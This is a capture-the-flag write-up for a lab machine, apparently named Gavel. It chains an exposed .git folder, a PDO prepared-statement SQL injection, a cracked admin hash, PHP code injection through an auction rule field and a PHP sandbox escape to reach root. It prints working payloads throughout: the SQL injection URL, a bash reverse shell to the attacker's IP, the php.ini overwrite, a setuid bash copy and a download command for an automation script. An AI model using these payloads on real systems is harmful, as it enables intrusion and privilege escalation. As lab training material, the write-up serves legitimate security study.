Gavel

The chain in one line: an exposed .git folder hands over the entire app's source → reading it reveals a SQL injection that shouldn't be possible with prepared statements, but is → that dumps admin's password hash → admin can set "rules" that get run as literal PHP code → shell → a root daemon that runs submitted PHP in a locked-down sandbox has one function left enabled that's enough to escape it.
1. Recon
22/tcp ssh OpenSSH 8.9p1 (Ubuntu)
80/tcp http Apache 2.4.52 (redirects to gavel.htb)
Re-scanning by hostname turns up something the IP scan missed:
http-git: gavel.htb/.git/ → Git repository found!
2. Grabbing the source
git-dumper http://gavel.htb/.git src/
This walks the exposed .git/objects folder and rebuilds the actual working directory from it — effectively downloading the entire live codebase for free.
admin.php bidding.php includes/ index.php inventory.php login.php register.php rules/
3. What the code shows
A PHP rule engine that runs raw code. Every auction has a rule column, and every bid triggers this:
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
runkit_function_add() compiles a string straight into a live PHP function. $rule is a raw string sitting in the database — if it can be edited, that's remote code execution the moment someone bids.
Who can edit it? admin.php, gated to accounts with role === 'auctioneer':
$stmt = $pdo->prepare("UPDATE auctions SET rule=?, message=? WHERE id=?");
So: get the auctioneer role, and RCE is one bid away.
A near-miss SQL injection. inventory.php builds a sort column like this:
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id=? ORDER BY item_name ASC");
Backticks are stripped, then re-added — normally that's a dead end, since backticks quote identifiers, not values, and there's no way to break out of them.
4. The bypass — smuggling a second placeholder
PDO fills in ? placeholders after the query text is already built. The trick: if the "safe" identifier slot can be made to contain its own extra ?, PDO ends up with two placeholders but only one value supplied — so that single value gets used to fill both. One of the technique's originators (Searchlight Cyber) published the full mechanics of this under the name A Novel Technique for SQL Injection in PDO's Prepared Statements — worth reading directly if the "why" here isn't obvious, since it hinges on where PDO's automatic value-escaping lands relative to a deliberately broken identifier string.
In practice, that means a request like this returns real database output:
inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+VERSION()+AS+`%27x`)y;--+-
Walking information_schema the normal way from there finds a users table, and dumping it gets:
auctioneer : $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS : auctioneer
5. Cracking it, becoming admin
hashcat -m 3200 hash.txt rockyou.txt
# auctioneer : midnight1
Logging in as auctioneer puts the Admin Panel on the nav bar — and with it, the rule field from step 3.
6. RCE → shell
Set an auction's rule to:
system('bash -c "bash -i >& /dev/tcp/<my_ip>/443 0>&1"'); return true;
Place any valid bid on that auction — that's what actually triggers ruleCheck(). A shell lands as www-data.
7. Root
Enumeration:
| Finds | Notes |
|---|---|
/opt/gavel/gaveld |
Custom root daemon |
/usr/local/bin/gavel-util |
Client binary — submit, stats, invoice |
auctioneer:midnight1 |
Reused password — works for su, not SSH (DenyUsers auctioneer in sshd config) |
su - auctioneer gets user.txt.
Reverse engineering the daemon. Pulling gaveld off the box and loading it in Ghidra shows: it listens on a Unix socket, only accepts connections from the gavel-seller group, and its submit command runs a user-supplied YAML rule field through a sandboxed PHP interpreter before saving anything — using a locked-down php.ini:
open_basedir=/opt/gavel
disable_functions=exec,system,eval,file_get_contents,fopen, ... (long list)
Almost everything useful is blocked — except file_put_contents, and open_basedir still allows writing anywhere under /opt/gavel. That includes the very php.ini enforcing all of this.
Two-step escape:
# step 1: rewrite the sandbox's own rulebook
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', \"open_basedir=\ndisable_functions=\n\"); return false;"
# step 2: the next submission runs under the new, open rules
rule: "system('cp /bin/bash /home/auctioneer/rootbash; chmod 6777 /home/auctioneer/rootbash;'); return false;"
gavel-util submit step1.yaml
gavel-util submit step2.yaml
~/rootbash -p
Root shell, root.txt readable.
(There's also a one-shot version of this: the daemon reads a RULE_PATH environment variable and will use whatever php.ini it points to instead of the default — no overwrite needed if that variable is set before calling gavel-util.)
One gotcha worth knowing: dropping the payload in /tmp instead of /home/auctioneer looks like it works but the file vanishes — Apache's systemd service runs with PrivateTmp=true, so anything spawned from www-data (including an su'd shell) sees its own private /tmp, invisible to the rest of the system. gaveld isn't part of that service, so it writes to the real /tmp — just not one the web shell can see.
Summary
exposed .git → full source recovered
→ PDO backtick-quoting bypass → SQLi → dumps auctioneer's hash
→ cracked → admin panel access
→ auction "rule" field = raw PHP, executed via runkit on every bid
→ RCE → shell as www-data
→ password reuse → shell as auctioneer
→ root daemon sandboxes submitted PHP, but its own config is writable
→ escape the sandbox → root
Proof of Concept
I scripted the full chain — login, rule injection, bid trigger, www-data shell, both root steps. Grab it with:
wget "https://github.com/00vld/proof_of_concept/blob/main/HTB/gavel.py"
Run it:
python3 gavel.py <target_ip>
Needs Burp listening on 127.0.0.1:8080 and ports 9001/4444 free — those are the two shell listeners it opens.
Successfully [Pwned].